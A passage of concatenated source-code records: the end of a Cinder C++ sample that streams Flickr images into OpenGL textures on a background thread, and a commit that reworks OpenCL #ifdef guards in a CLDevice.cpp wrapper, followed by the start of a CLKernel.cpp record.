\"cinder\/gl\/Texture.h\"\n#include \"cinder\/gl\/Sync.h\"\n#include \"cinder\/Xml.h\"\n#include \"cinder\/Timeline.h\"\n#include \"cinder\/ImageIo.h\"\n#include \"cinder\/Thread.h\"\n#include \"cinder\/ConcurrentCircularBuffer.h\"\n\n\/*\tThe heart of this sample is to show how to create a background thread that interacts with OpenGL.\n\tIt launches a secondary thread which pulls down images from a Flickr group and puts them in a thread-safe buffer.\n\tWe can allocate a gl::Context which shares resources (specifically Textures) with the primary gl::Context.\n\tNote that this Context should be created in the primary thread and passed as a parameter to the secondary thread.\n*\/\n\nusing namespace ci;\nusing namespace ci::app;\nusing namespace std;\n\nclass FlickrTestMTApp : public App {\n public:\t\t\n\t~FlickrTestMTApp();\n\n\tvoid setup() override;\n\tvoid update() override;\n\tvoid draw() override;\n\tvoid loadImagesThreadFn( gl::ContextRef sharedGlContext );\n\n\tConcurrentCircularBuffer<gl::TextureRef>\t*mImages;\n\n\tbool\t\t\t\t\tmShouldQuit;\n\tshared_ptr<thread>\t\tmThread;\n\tgl::TextureRef\t\t\tmTexture, mLastTexture;\n\tAnim<float>\t\t\t\tmFade;\n\tdouble\t\t\t\t\tmLastTime;\n};\n\nvoid FlickrTestMTApp::setup()\n{\n\tmShouldQuit = false;\n\tmImages = new ConcurrentCircularBuffer<gl::TextureRef>( 5 ); \/\/ room for 5 images\n\t\/\/ create and launch the thread with a new gl::Context just for that thread\n\tgl::ContextRef backgroundCtx = gl::Context::create( gl::context() );\n\tmThread = shared_ptr<thread>( new thread( bind( &FlickrTestMTApp::loadImagesThreadFn, this, backgroundCtx ) ) );\n\tmLastTime = getElapsedSeconds() - 10; \/\/ force an initial update by make it \"ten seconds ago\"\n\n\tgl::enableAlphaBlending();\n}\n\nvoid FlickrTestMTApp::loadImagesThreadFn( gl::ContextRef context )\n{\n\tci::ThreadSetup threadSetup; \/\/ instantiate this if you're talking to Cinder from a secondary thread\n\t\/\/ we received as a parameter a gl::Context we can use safely that shares resources with the primary Context\n\tcontext->makeCurrent();\n\tvector<Url>\turls;\n\n\t\/\/ parse the image URLS from the XML feed and push them into 'urls'\n\tconst Url sunFlickrGroup = Url( \"http:\/\/api.flickr.com\/services\/feeds\/groups_pool.gne?id=52242317293@N01&format=rss_200\" );\n\tconst XmlTree xml( loadUrl( sunFlickrGroup ) );\n\tfor( auto item = xml.begin( \"rss\/channel\/item\" ); item != xml.end(); ++item ) {\n\t\tconst XmlTree &urlXml = ( ( *item \/ \"media:content\" ) );\n\t\turls.push_back( Url( urlXml[\"url\"] ) );\n\t}\n\n\t\/\/ load images as Textures into our ConcurrentCircularBuffer\n\twhile( ( ! mShouldQuit ) && ( ! urls.empty() ) ) {\n\t\ttry {\n\t\t\t\/\/ we need to wait on a fence before alerting the primary thread that the Texture is ready\n\t\t\tauto fence = gl::Sync::create();\n\t\t\tauto tex = gl::Texture::create( loadImage( loadUrl( urls.back() ) ) );\n\t\t\t\/\/ wait on the fence\n\t\t\tfence->clientWaitSync();\n\t\t\tmImages->pushFront( tex );\n\t\t\turls.pop_back();\n\t\t}\n\t\tcatch( ci::Exception &exc ) {\n\t\t\tconsole() << \"failed to create texture, what: \" << exc.what() << std::endl;\n\t\t}\n\t}\n}\n\nvoid FlickrTestMTApp::update()\n{\n\tdouble timeSinceLastImage = getElapsedSeconds() - mLastTime;\n\tif( ( timeSinceLastImage > 2.5 ) && mImages->isNotEmpty() ) {\n\t\tmLastTexture = mTexture; \/\/ the \"last\" texture is now the current text\n\t\t\n\t\tmImages->popBack( &mTexture );\n\t\t\n\t\tmLastTime = getElapsedSeconds();\n\t\t\/\/ blend from 0 to 1 over 1.5sec\n\t\ttimeline().apply( &mFade, 0.0f, 1.0f, 1.5f );\n\t}\t\n}\n\nvoid FlickrTestMTApp::draw()\n{\n\tgl::clear( Color( 0.1f, 0.1f, 0.2f ) );\n\n\tif( mLastTexture ) {\n\t\tgl::color( 1, 1, 1, 1.0f - mFade );\n\t\tRectf textureBounds = mLastTexture->getBounds();\n\t\tRectf drawBounds = textureBounds.getCenteredFit( getWindowBounds(), true );\n\t\tgl::draw( mLastTexture, drawBounds );\n\t}\n\tif( mTexture ) {\n\t\tgl::color( 1, 1, 1, mFade );\n\t\tRectf textureBounds = mTexture->getBounds();\n\t\tRectf drawBounds = textureBounds.getCenteredFit( getWindowBounds(), true );\n\t\tgl::draw( mTexture, drawBounds );\n\t}\n}\n\nFlickrTestMTApp::~FlickrTestMTApp()\n{\n\tmShouldQuit = true;\n\tmImages->cancel();\n\tmThread->join();\n}\n\nCINDER_APP( FlickrTestMTApp, RendererGl )<|endoftext|>"} {"text":"<commit_before>\/*\n * CLDevice.cpp\n *\n * Created on: Oct 24, 2009\n * Author: rasmussn\n *\/\n\n#include \"CLDevice.hpp\"\n\n#include <assert.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys\/stat.h>\n\n#ifdef PV_USE_OPENCL\n\nnamespace PV {\n\nstatic char * load_program_source(const char *filename);\n\t\nCLDevice::CLDevice(int device)\n{\n this->device = device;\n initialize(device);\n}\n\nCLDevice::~CLDevice()\n{\n}\n\nint CLDevice::initialize(int device)\n{\n int status = 0;\n\n \/\/ get number of devices available\n \/\/\n status = clGetDeviceIDs(NULL, CL_DEVICE_TYPE_ALL, MAX_DEVICES, device_ids, &num_devices);\n if (status != CL_SUCCESS) {\n printf(\"Error: Failed to find a device group!\\n\");\n print_error_code(status);\n exit(status);\n }\n\n \/\/ create a compute context\n \/\/\n context = clCreateContext(0, 1, &device_ids[device], NULL, NULL, &status);\n if (!context)\n {\n printf(\"Error: Failed to create a compute context for device %d!\\n\", device);\n exit(PVCL_CREATE_CONTEXT_FAILURE);\n }\n\n \/\/ create a command queue\n \/\/\n commands = clCreateCommandQueue(context, device_ids[device], 0, &status);\n if (!commands)\n {\n printf(\"Error: Failed to create a command commands!\\n\");\n return PVCL_CREATE_CMD_QUEUE_FAILURE;\n }\n\n \/\/ turn on profiling\n \/\/\n elapsed = 0;\n profiling = true;\n status = clSetCommandQueueProperty(commands, CL_QUEUE_PROFILING_ENABLE, CL_TRUE, NULL);\n if (status != CL_SUCCESS) {\n print_error_code(status);\n exit(status);\n }\n\n return status;\n}\n\nint CLDevice::run(size_t global_work_size)\n{\n size_t local_work_size;\n int status = 0;\n\t\t\n \/\/ get the maximum work group size for executing the kernel on the device\n \/\/\n status = clGetKernelWorkGroupInfo(kernel, device_ids[device], CL_KERNEL_WORK_GROUP_SIZE,\n\t\t\t\t\t\t sizeof(size_t), &local_work_size, NULL);\n if (status != CL_SUCCESS) {\n fprintf(stderr, \"Error: Failed to retrieve kernel work group info! %d\\n\", status);\n print_error_code(status);\n exit(status);\n } else {\n printf(\"run: local_work_size==%ld global_work_size==%ld\\n\", local_work_size, global_work_size);\n }\n \/\/ execute the kernel over the entire range of our 1d input data set\n \/\/ using the maximum number of work group items for this device\n \/\/\n status = clEnqueueNDRangeKernel(commands, kernel, 1, NULL,\n\t\t\t\t\t\t\t\t &global_work_size, &local_work_size, 0, NULL, NULL);\n if (status != CL_SUCCESS) {\n fprintf(stderr, \"CLDevice::run(): Failed to execute kernel!\\n\");\n print_error_code(status);\n exit(status);\n }\n\t\t\n \/\/ wait for the command commands to get serviced before reading back results\n \/\/\n clFinish(commands);\n\t\t\n return status;\n}\n\t\nint CLDevice::run(size_t gWorkSizeX, size_t gWorkSizeY, size_t lWorkSizeX, size_t lWorkSizeY)\n{\n size_t local_work_size[2];\n size_t global_work_size[2];\n size_t max_local_size;\n int status = 0;\n\t\t\n global_work_size[0] = gWorkSizeX;\n global_work_size[1] = gWorkSizeY;\n\n local_work_size[0] = lWorkSizeX;\n local_work_size[1] = lWorkSizeY;\n\t\n \/\/ get the maximum work group size for executing the kernel on the device\n \/\/\n status = clGetKernelWorkGroupInfo(kernel, device_ids[device], CL_KERNEL_WORK_GROUP_SIZE,\n\t\t\t\t\t\t\t\t sizeof(size_t), &max_local_size, NULL);\n if (status != CL_SUCCESS) {\n fprintf(stderr, \"Error: Failed to retrieve kernel work group info! (status==%d)\\n\", status);\n print_error_code(status);\n exit(status);\n } else {\n printf(\"run: local_work_size==(%ld,%ld) global_work_size==(%ld,%ld)\\n\",\n local_work_size[0], local_work_size[1], global_work_size[0], global_work_size[1]);\n }\n\n if (device == 1) {\n \/\/ Apple's CPU device has only one thread per group\n\t local_work_size[0] = 1;\n local_work_size[1] = 1;\n }\n\t\n \/\/ execute the kernel over the entire range of our 1d input data set\n \/\/ using the maximum number of work group items for this device\n \/\/\n status = clEnqueueNDRangeKernel(commands, kernel, 2, NULL,\n global_work_size, local_work_size, 0, NULL, &event);\n if (status) {\n fprintf(stderr, \"CLDevice::run(): Failed to execute kernel! (status==%d)\\n\", status);\n fprintf(stderr, \"CLDevice::run(): max_local_work_size==%ld\\n\", max_local_size);\n print_error_code(status);\n exit(status);\n }\n\t\t\n \/\/ wait for the command commands to get serviced before reading back results\n \/\/\n clFinish(commands);\n\t\t\n \/\/ get profiling information\n \/\/\n if (profiling) {\n size_t param_size;\n cl_ulong start, end;\n status = clGetEventProfilingInfo(event, CL_PROFILING_COMMAND_START,\n sizeof(start), &start, ¶m_size);\n status = clGetEventProfilingInfo(event, CL_PROFILING_COMMAND_END,\n sizeof(end), &end, ¶m_size);\n if (status == 0) {\n elapsed = (end - start) \/ 1000; \/\/ microseconds\n }\n }\n \n return status;\n}\n\t\nint CLDevice::createKernel(const char * filename, const char * name)\n{\n int status = 0;\n\n \/\/ Create the compute program from the source buffer\n \/\/\n char * source = load_program_source(filename);\n program = clCreateProgramWithSource(context, 1, (const char **) &source, NULL, &status);\n if (!program || status != CL_SUCCESS)\n {\n printf(\"Error: Failed to create compute program!\\n\");\n print_error_code(status);\n exit(status);\n }\n\n \/\/ Build the program executable\n \/\/\n status = clBuildProgram(program, 0, NULL, NULL, NULL, NULL);\n if (status != CL_SUCCESS)\n {\n size_t len;\n char buffer[2048];\n\n printf(\"Error: Failed to build program executable!\\n\");\n clGetProgramBuildInfo(program, device_ids[device], CL_PROGRAM_BUILD_LOG, sizeof(buffer), buffer, &len);\n printf(\"%s\\n\", buffer);\n print_error_code(status);\n exit(status);\n }\n\n \/\/ Create the compute kernel in the program we wish to run\n \/\/\n kernel = clCreateKernel(program, name, &status);\n if (!kernel || status != CL_SUCCESS)\n {\n fprintf(stderr, \"Error: Failed to create compute kernel!\\n\");\n print_error_code(status);\n exit(status);\n }\n\n return status;\n}\n\nCLBuffer * CLDevice::createBuffer(cl_mem_flags flags, size_t size, void * host_ptr)\n{\n return new CLBuffer(context, commands, flags, size, host_ptr);\n}\n\nint CLDevice::addKernelArg(int argid, int arg)\n{\n int status = 0;\n \n status = clSetKernelArg(kernel, argid, sizeof(int), &arg);\n if (status != CL_SUCCESS) {\n fprintf(stderr, \"CLDevice::addKernelArg: Failed to set kernel argument! %d\\n\", status);\n print_error_code(status);\n exit(status);\n }\n \n return status;\n}\n \nint CLDevice::addKernelArg(int argid, CLBuffer * buf)\n{\n int status = 0;\n\n cl_mem mobj = buf->clMemObject();\n \n status = clSetKernelArg(kernel, argid, sizeof(cl_mem), &mobj);\n if (status != CL_SUCCESS) {\n fprintf(stderr, \"CLDevice::addKernelArg: Failed to set kernel argument! %d\\n\", status);\n print_error_code(status);\n exit(status);\n }\n \n return status;\n}\n \nint CLDevice::addLocalArg(int argid, size_t size)\n{\n int status = 0;\n\n status = clSetKernelArg(kernel, argid, size, 0);\n if (status != CL_SUCCESS) {\n fprintf(stderr, \"CLDevice::addLocalArg: Failed to set kernel argument! %d\\n\", status);\n print_error_code(status);\n exit(status);\n }\n\n return status;\n}\n\nint CLDevice::query_device_info()\n{\n \/\/ query and print information about the devices found\n \/\/\n printf(\"\\n\");\n printf(\"Number of OpenCL devices found: %d\\n\", num_devices);\n printf(\"\\n\");\n\n for (unsigned int i = 0; i < num_devices; i++) {\n query_device_info(i, device_ids[i]);\n }\n return 0;\n}\n\nint CLDevice::query_device_info(int id, cl_device_id device)\n{\n const int str_size = 64;\n const int vals_len = MAX_WORK_ITEM_DIMENSIONS;\n\n long long val;\n size_t vals[vals_len];\n unsigned int max_dims;\n\n int status;\n char param_value[str_size];\n size_t param_value_size;\n\n status = clGetDeviceInfo(device, CL_DEVICE_NAME, str_size, param_value, ¶m_value_size);\n param_value[str_size-1] = '\\0';\n\n printf(\"OpenCL Device # %d == %s\\n\", id, param_value);\n\n status = clGetDeviceInfo(device, CL_DEVICE_TYPE, sizeof(val), &val, NULL);\n\n if (status == CL_SUCCESS) {\n printf(\"\\tdevice[%p]: Type: \", device);\n\n if (val & CL_DEVICE_TYPE_DEFAULT) {\n val &= ~CL_DEVICE_TYPE_DEFAULT;\n printf(\"Default \");\n }\n\n if (val & CL_DEVICE_TYPE_CPU) {\n val &= ~CL_DEVICE_TYPE_CPU;\n printf(\"CPU \");\n }\n\n if (val & CL_DEVICE_TYPE_GPU) {\n val &= ~CL_DEVICE_TYPE_GPU;\n printf(\"GPU \");\n }\n\n if (val & CL_DEVICE_TYPE_ACCELERATOR) {\n val &= ~CL_DEVICE_TYPE_ACCELERATOR;\n printf(\"Accelerator \");\n }\n\n if (val != 0) {\n printf(\"Unknown (0x%llx) \", val);\n }\n }\n else {\n printf(\"\\tdevice[%p]: Unable to get TYPE: %s!\\n\", device, \"CLErrString(status)\");\n print_error_code(status);\n exit(status);\n }\n\n status = clGetDeviceInfo(device, CL_DEVICE_MAX_COMPUTE_UNITS, sizeof(val), &val, ¶m_value_size);\n printf(\"with %u units\/cores\", (unsigned int) val);\n\n status = clGetDeviceInfo(device, CL_DEVICE_MAX_CLOCK_FREQUENCY, sizeof(val), &val, ¶m_value_size);\n printf(\" at %u MHz\\n\", (unsigned int) val);\n\n status = clGetDeviceInfo(device, CL_DEVICE_PREFERRED_VECTOR_WIDTH_FLOAT, sizeof(val), &val, ¶m_value_size);\n printf(\"\\tfloat vector width == %u\\n\", (unsigned int) val);\n \n status = clGetDeviceInfo(device, CL_DEVICE_MAX_WORK_GROUP_SIZE, sizeof(val), &val, ¶m_value_size);\n printf(\"\\tMaximum work group size == %lu\\n\", (size_t) val);\n \n status = clGetDeviceInfo(device, CL_DEVICE_MAX_WORK_ITEM_DIMENSIONS, sizeof(max_dims), &max_dims, ¶m_value_size);\n printf(\"\\tMaximum work item dimensions == %u\\n\", max_dims);\n \n status = clGetDeviceInfo(device, CL_DEVICE_MAX_WORK_ITEM_SIZES, vals_len*sizeof(size_t), vals, ¶m_value_size);\n printf(\"\\tMaximum work item sizes == (\");\n for (int i = 0; i < max_dims; i++) printf(\" %ld\", vals[i]);\n printf(\" )\\n\");\n \n status = clGetDeviceInfo(device, CL_DEVICE_LOCAL_MEM_SIZE, sizeof(val), &val, ¶m_value_size);\n printf(\"\\tLocal mem size == %u\\n\", (unsigned int) val);\n\n status = clGetDeviceInfo(device, CL_DEVICE_GLOBAL_MEM_SIZE, sizeof(val), &val, ¶m_value_size);\n printf(\"\\tGlobal mem size == %u\\n\", (unsigned int) val);\n\n status = clGetDeviceInfo(device, CL_DEVICE_GLOBAL_MEM_CACHE_SIZE, sizeof(val), &val, ¶m_value_size);\n printf(\"\\tGlobal mem cache size == %u\\n\", (unsigned int) val);\n\n status = clGetDeviceInfo(device, CL_DEVICE_GLOBAL_MEM_CACHELINE_SIZE, sizeof(val), &val, ¶m_value_size);\n printf(\"\\tGlobal mem cache line size == %u\\n\", (unsigned int) val);\n\n printf(\"\\n\");\n\n return status;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\nvoid\nprint_error_code(int code)\n{\n char msg[256];\n\n switch (code) {\n case CL_INVALID_WORK_GROUP_SIZE:\n sprintf(msg, \"%s (%d)\", \"CL_INVALID_WORK_GROUP_SIZE\", code);\n break;\n case CL_INVALID_COMMAND_QUEUE:\n sprintf(msg, \"%s (%d)\", \"CL_INVALID_COMMAND_QUEUE\", code);\n break;\n case CL_INVALID_KERNEL_ARGS:\n sprintf(msg, \"%s (%d)\", \"CL_INVALID_KERNEL_ARGS\", code);\n break;\n\n default:\n sprintf(msg, \"%s (%d)\\n\", \"UNKNOWN_CODE\", code);\n break;\n }\n printf(\"ERROR_CODE==%s\\n\", msg);\n}\n\nstatic char *\nload_program_source(const char *filename)\n{\n struct stat statbuf;\n FILE *fh;\n char *source;\n\n fh = fopen(filename, \"r\");\n if (fh == 0)\n return 0;\n\n stat(filename, &statbuf);\n source = (char *) malloc(statbuf.st_size + 1);\n fread(source, statbuf.st_size, 1, fh);\n source[statbuf.st_size] = '\\0';\n\n return source;\n}\n\n} \/\/ namespace PV\n\n#else\nvoid cldevice_noop() { ; }\n#endif \/\/ PV_USE_OPENCL\n<commit_msg>Reworked #ifdefs to provide a little more null functionality with not using OpenCL.<commit_after>\/*\n * CLDevice.cpp\n *\n * Created on: Oct 24, 2009\n * Author: rasmussn\n *\/\n\n#include \"CLDevice.hpp\"\n\n#include <assert.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys\/stat.h>\n\nnamespace PV {\n\nCLDevice::CLDevice(int device)\n{\n this->device = device;\n initialize(device);\n}\n\nint CLDevice::initialize(int device)\n{\n int status = 0;\n\n#ifdef PV_USE_OPENCL\n \/\/ get number of devices available\n \/\/\n status = clGetDeviceIDs(NULL, CL_DEVICE_TYPE_ALL, MAX_DEVICES, device_ids, &num_devices);\n if (status != CL_SUCCESS) {\n printf(\"Error: Failed to find a device group!\\n\");\n print_error_code(status);\n exit(status);\n }\n\n \/\/ create a compute context\n \/\/\n context = clCreateContext(0, 1, &device_ids[device], NULL, NULL, &status);\n if (!context)\n {\n printf(\"Error: Failed to create a compute context for device %d!\\n\", device);\n exit(PVCL_CREATE_CONTEXT_FAILURE);\n }\n\n \/\/ create a command queue\n \/\/\n commands = clCreateCommandQueue(context, device_ids[device], 0, &status);\n if (!commands)\n {\n printf(\"Error: Failed to create a command commands!\\n\");\n return PVCL_CREATE_CMD_QUEUE_FAILURE;\n }\n\n \/\/ turn on profiling\n \/\/\n elapsed = 0;\n profiling = true;\n status = clSetCommandQueueProperty(commands, CL_QUEUE_PROFILING_ENABLE, CL_TRUE, NULL);\n if (status != CL_SUCCESS) {\n print_error_code(status);\n exit(status);\n }\n#endif PV_USE_OPENCL\n\n return status;\n}\n\n#ifdef PV_USE_OPENCL\n\nstatic char * load_program_source(const char *filename);\n\nint CLDevice::run(size_t global_work_size)\n{\n size_t local_work_size;\n int status = 0;\n\t\t\n \/\/ get the maximum work group size for executing the kernel on the device\n \/\/\n status = clGetKernelWorkGroupInfo(kernel, device_ids[device], CL_KERNEL_WORK_GROUP_SIZE,\n\t\t\t\t\t\t sizeof(size_t), &local_work_size, NULL);\n if (status != CL_SUCCESS) {\n fprintf(stderr, \"Error: Failed to retrieve kernel work group info! %d\\n\", status);\n print_error_code(status);\n exit(status);\n } else {\n printf(\"run: local_work_size==%ld global_work_size==%ld\\n\", local_work_size, global_work_size);\n }\n \/\/ execute the kernel over the entire range of our 1d input data set\n \/\/ using the maximum number of work group items for this device\n \/\/\n status = clEnqueueNDRangeKernel(commands, kernel, 1, NULL,\n\t\t\t\t\t\t\t\t &global_work_size, &local_work_size, 0, NULL, NULL);\n if (status != CL_SUCCESS) {\n fprintf(stderr, \"CLDevice::run(): Failed to execute kernel!\\n\");\n print_error_code(status);\n exit(status);\n }\n\t\t\n \/\/ wait for the command commands to get serviced before reading back results\n \/\/\n clFinish(commands);\n\t\t\n return status;\n}\n\t\nint CLDevice::run(size_t gWorkSizeX, size_t gWorkSizeY, size_t lWorkSizeX, size_t lWorkSizeY)\n{\n size_t local_work_size[2];\n size_t global_work_size[2];\n size_t max_local_size;\n int status = 0;\n\t\t\n global_work_size[0] = gWorkSizeX;\n global_work_size[1] = gWorkSizeY;\n\n local_work_size[0] = lWorkSizeX;\n local_work_size[1] = lWorkSizeY;\n\t\n \/\/ get the maximum work group size for executing the kernel on the device\n \/\/\n status = clGetKernelWorkGroupInfo(kernel, device_ids[device], CL_KERNEL_WORK_GROUP_SIZE,\n\t\t\t\t\t\t\t\t sizeof(size_t), &max_local_size, NULL);\n if (status != CL_SUCCESS) {\n fprintf(stderr, \"Error: Failed to retrieve kernel work group info! (status==%d)\\n\", status);\n print_error_code(status);\n exit(status);\n } else {\n printf(\"run: local_work_size==(%ld,%ld) global_work_size==(%ld,%ld)\\n\",\n local_work_size[0], local_work_size[1], global_work_size[0], global_work_size[1]);\n }\n\n if (device == 1) {\n \/\/ Apple's CPU device has only one thread per group\n\t local_work_size[0] = 1;\n local_work_size[1] = 1;\n }\n\t\n \/\/ execute the kernel over the entire range of our 1d input data set\n \/\/ using the maximum number of work group items for this device\n \/\/\n status = clEnqueueNDRangeKernel(commands, kernel, 2, NULL,\n global_work_size, local_work_size, 0, NULL, &event);\n if (status) {\n fprintf(stderr, \"CLDevice::run(): Failed to execute kernel! (status==%d)\\n\", status);\n fprintf(stderr, \"CLDevice::run(): max_local_work_size==%ld\\n\", max_local_size);\n print_error_code(status);\n exit(status);\n }\n\t\t\n \/\/ wait for the command commands to get serviced before reading back results\n \/\/\n clFinish(commands);\n\t\t\n \/\/ get profiling information\n \/\/\n if (profiling) {\n size_t param_size;\n cl_ulong start, end;\n status = clGetEventProfilingInfo(event, CL_PROFILING_COMMAND_START,\n sizeof(start), &start, ¶m_size);\n status = clGetEventProfilingInfo(event, CL_PROFILING_COMMAND_END,\n sizeof(end), &end, ¶m_size);\n if (status == 0) {\n elapsed = (end - start) \/ 1000; \/\/ microseconds\n }\n }\n \n return status;\n}\n\t\nint CLDevice::createKernel(const char * filename, const char * name)\n{\n int status = 0;\n\n \/\/ Create the compute program from the source buffer\n \/\/\n char * source = load_program_source(filename);\n program = clCreateProgramWithSource(context, 1, (const char **) &source, NULL, &status);\n if (!program || status != CL_SUCCESS)\n {\n printf(\"Error: Failed to create compute program!\\n\");\n print_error_code(status);\n exit(status);\n }\n\n \/\/ Build the program executable\n \/\/\n status = clBuildProgram(program, 0, NULL, NULL, NULL, NULL);\n if (status != CL_SUCCESS)\n {\n size_t len;\n char buffer[2048];\n\n printf(\"Error: Failed to build program executable!\\n\");\n clGetProgramBuildInfo(program, device_ids[device], CL_PROGRAM_BUILD_LOG, sizeof(buffer), buffer, &len);\n printf(\"%s\\n\", buffer);\n print_error_code(status);\n exit(status);\n }\n\n \/\/ Create the compute kernel in the program we wish to run\n \/\/\n kernel = clCreateKernel(program, name, &status);\n if (!kernel || status != CL_SUCCESS)\n {\n fprintf(stderr, \"Error: Failed to create compute kernel!\\n\");\n print_error_code(status);\n exit(status);\n }\n\n return status;\n}\n#endif \/\/ PV_USE_OPENCL\n\nCLBuffer * CLDevice::createBuffer(cl_mem_flags flags, size_t size, void * host_ptr)\n{\n#ifdef PV_USE_OPENCL\n return new CLBuffer(context, commands, flags, size, host_ptr);\n#else\n return new CLBuffer();\n#endif\n}\n\n#ifdef PV_USE_OPENCL\n\nint CLDevice::addKernelArg(int argid, int arg)\n{\n int status = 0;\n \n status = clSetKernelArg(kernel, argid, sizeof(int), &arg);\n if (status != CL_SUCCESS) {\n fprintf(stderr, \"CLDevice::addKernelArg: Failed to set kernel argument! %d\\n\", status);\n print_error_code(status);\n exit(status);\n }\n \n return status;\n}\n \nint CLDevice::addKernelArg(int argid, CLBuffer * buf)\n{\n int status = 0;\n\n cl_mem mobj = buf->clMemObject();\n \n status = clSetKernelArg(kernel, argid, sizeof(cl_mem), &mobj);\n if (status != CL_SUCCESS) {\n fprintf(stderr, \"CLDevice::addKernelArg: Failed to set kernel argument! %d\\n\", status);\n print_error_code(status);\n exit(status);\n }\n \n return status;\n}\n \nint CLDevice::addLocalArg(int argid, size_t size)\n{\n int status = 0;\n\n status = clSetKernelArg(kernel, argid, size, 0);\n if (status != CL_SUCCESS) {\n fprintf(stderr, \"CLDevice::addLocalArg: Failed to set kernel argument! %d\\n\", status);\n print_error_code(status);\n exit(status);\n }\n\n return status;\n}\n\nint CLDevice::query_device_info()\n{\n \/\/ query and print information about the devices found\n \/\/\n printf(\"\\n\");\n printf(\"Number of OpenCL devices found: %d\\n\", num_devices);\n printf(\"\\n\");\n\n for (unsigned int i = 0; i < num_devices; i++) {\n query_device_info(i, device_ids[i]);\n }\n return 0;\n}\n\nint CLDevice::query_device_info(int id, cl_device_id device)\n{\n const int str_size = 64;\n const int vals_len = MAX_WORK_ITEM_DIMENSIONS;\n\n long long val;\n size_t vals[vals_len];\n unsigned int max_dims;\n\n int status;\n char param_value[str_size];\n size_t param_value_size;\n\n status = clGetDeviceInfo(device, CL_DEVICE_NAME, str_size, param_value, ¶m_value_size);\n param_value[str_size-1] = '\\0';\n\n printf(\"OpenCL Device # %d == %s\\n\", id, param_value);\n\n status = clGetDeviceInfo(device, CL_DEVICE_TYPE, sizeof(val), &val, NULL);\n\n if (status == CL_SUCCESS) {\n printf(\"\\tdevice[%p]: Type: \", device);\n\n if (val & CL_DEVICE_TYPE_DEFAULT) {\n val &= ~CL_DEVICE_TYPE_DEFAULT;\n printf(\"Default \");\n }\n\n if (val & CL_DEVICE_TYPE_CPU) {\n val &= ~CL_DEVICE_TYPE_CPU;\n printf(\"CPU \");\n }\n\n if (val & CL_DEVICE_TYPE_GPU) {\n val &= ~CL_DEVICE_TYPE_GPU;\n printf(\"GPU \");\n }\n\n if (val & CL_DEVICE_TYPE_ACCELERATOR) {\n val &= ~CL_DEVICE_TYPE_ACCELERATOR;\n printf(\"Accelerator \");\n }\n\n if (val != 0) {\n printf(\"Unknown (0x%llx) \", val);\n }\n }\n else {\n printf(\"\\tdevice[%p]: Unable to get TYPE: %s!\\n\", device, \"CLErrString(status)\");\n print_error_code(status);\n exit(status);\n }\n\n status = clGetDeviceInfo(device, CL_DEVICE_MAX_COMPUTE_UNITS, sizeof(val), &val, ¶m_value_size);\n printf(\"with %u units\/cores\", (unsigned int) val);\n\n status = clGetDeviceInfo(device, CL_DEVICE_MAX_CLOCK_FREQUENCY, sizeof(val), &val, ¶m_value_size);\n printf(\" at %u MHz\\n\", (unsigned int) val);\n\n status = clGetDeviceInfo(device, CL_DEVICE_PREFERRED_VECTOR_WIDTH_FLOAT, sizeof(val), &val, ¶m_value_size);\n printf(\"\\tfloat vector width == %u\\n\", (unsigned int) val);\n \n status = clGetDeviceInfo(device, CL_DEVICE_MAX_WORK_GROUP_SIZE, sizeof(val), &val, ¶m_value_size);\n printf(\"\\tMaximum work group size == %lu\\n\", (size_t) val);\n \n status = clGetDeviceInfo(device, CL_DEVICE_MAX_WORK_ITEM_DIMENSIONS, sizeof(max_dims), &max_dims, ¶m_value_size);\n printf(\"\\tMaximum work item dimensions == %u\\n\", max_dims);\n \n status = clGetDeviceInfo(device, CL_DEVICE_MAX_WORK_ITEM_SIZES, vals_len*sizeof(size_t), vals, ¶m_value_size);\n printf(\"\\tMaximum work item sizes == (\");\n for (int i = 0; i < max_dims; i++) printf(\" %ld\", vals[i]);\n printf(\" )\\n\");\n \n status = clGetDeviceInfo(device, CL_DEVICE_LOCAL_MEM_SIZE, sizeof(val), &val, ¶m_value_size);\n printf(\"\\tLocal mem size == %u\\n\", (unsigned int) val);\n\n status = clGetDeviceInfo(device, CL_DEVICE_GLOBAL_MEM_SIZE, sizeof(val), &val, ¶m_value_size);\n printf(\"\\tGlobal mem size == %u\\n\", (unsigned int) val);\n\n status = clGetDeviceInfo(device, CL_DEVICE_GLOBAL_MEM_CACHE_SIZE, sizeof(val), &val, ¶m_value_size);\n printf(\"\\tGlobal mem cache size == %u\\n\", (unsigned int) val);\n\n status = clGetDeviceInfo(device, CL_DEVICE_GLOBAL_MEM_CACHELINE_SIZE, sizeof(val), &val, ¶m_value_size);\n printf(\"\\tGlobal mem cache line size == %u\\n\", (unsigned int) val);\n\n printf(\"\\n\");\n\n return status;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\nvoid\nprint_error_code(int code)\n{\n char msg[256];\n\n switch (code) {\n case CL_INVALID_WORK_GROUP_SIZE:\n sprintf(msg, \"%s (%d)\", \"CL_INVALID_WORK_GROUP_SIZE\", code);\n break;\n case CL_INVALID_COMMAND_QUEUE:\n sprintf(msg, \"%s (%d)\", \"CL_INVALID_COMMAND_QUEUE\", code);\n break;\n case CL_INVALID_KERNEL_ARGS:\n sprintf(msg, \"%s (%d)\", \"CL_INVALID_KERNEL_ARGS\", code);\n break;\n\n default:\n sprintf(msg, \"%s (%d)\\n\", \"UNKNOWN_CODE\", code);\n break;\n }\n printf(\"ERROR_CODE==%s\\n\", msg);\n}\n\nstatic char *\nload_program_source(const char *filename)\n{\n struct stat statbuf;\n FILE *fh;\n char *source;\n\n fh = fopen(filename, \"r\");\n if (fh == 0)\n return 0;\n\n stat(filename, &statbuf);\n source = (char *) malloc(statbuf.st_size + 1);\n fread(source, statbuf.st_size, 1, fh);\n source[statbuf.st_size] = '\\0';\n\n return source;\n}\n\n#endif \/\/ PV_USE_OPENCL\n\n} \/\/ namespace PV\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * CLKernel.cpp\n *\n * Created on: Aug 1, 2010\n * Author: rasmussn\n *\/\n\n#include \"CLKernel.hpp\"\n#include 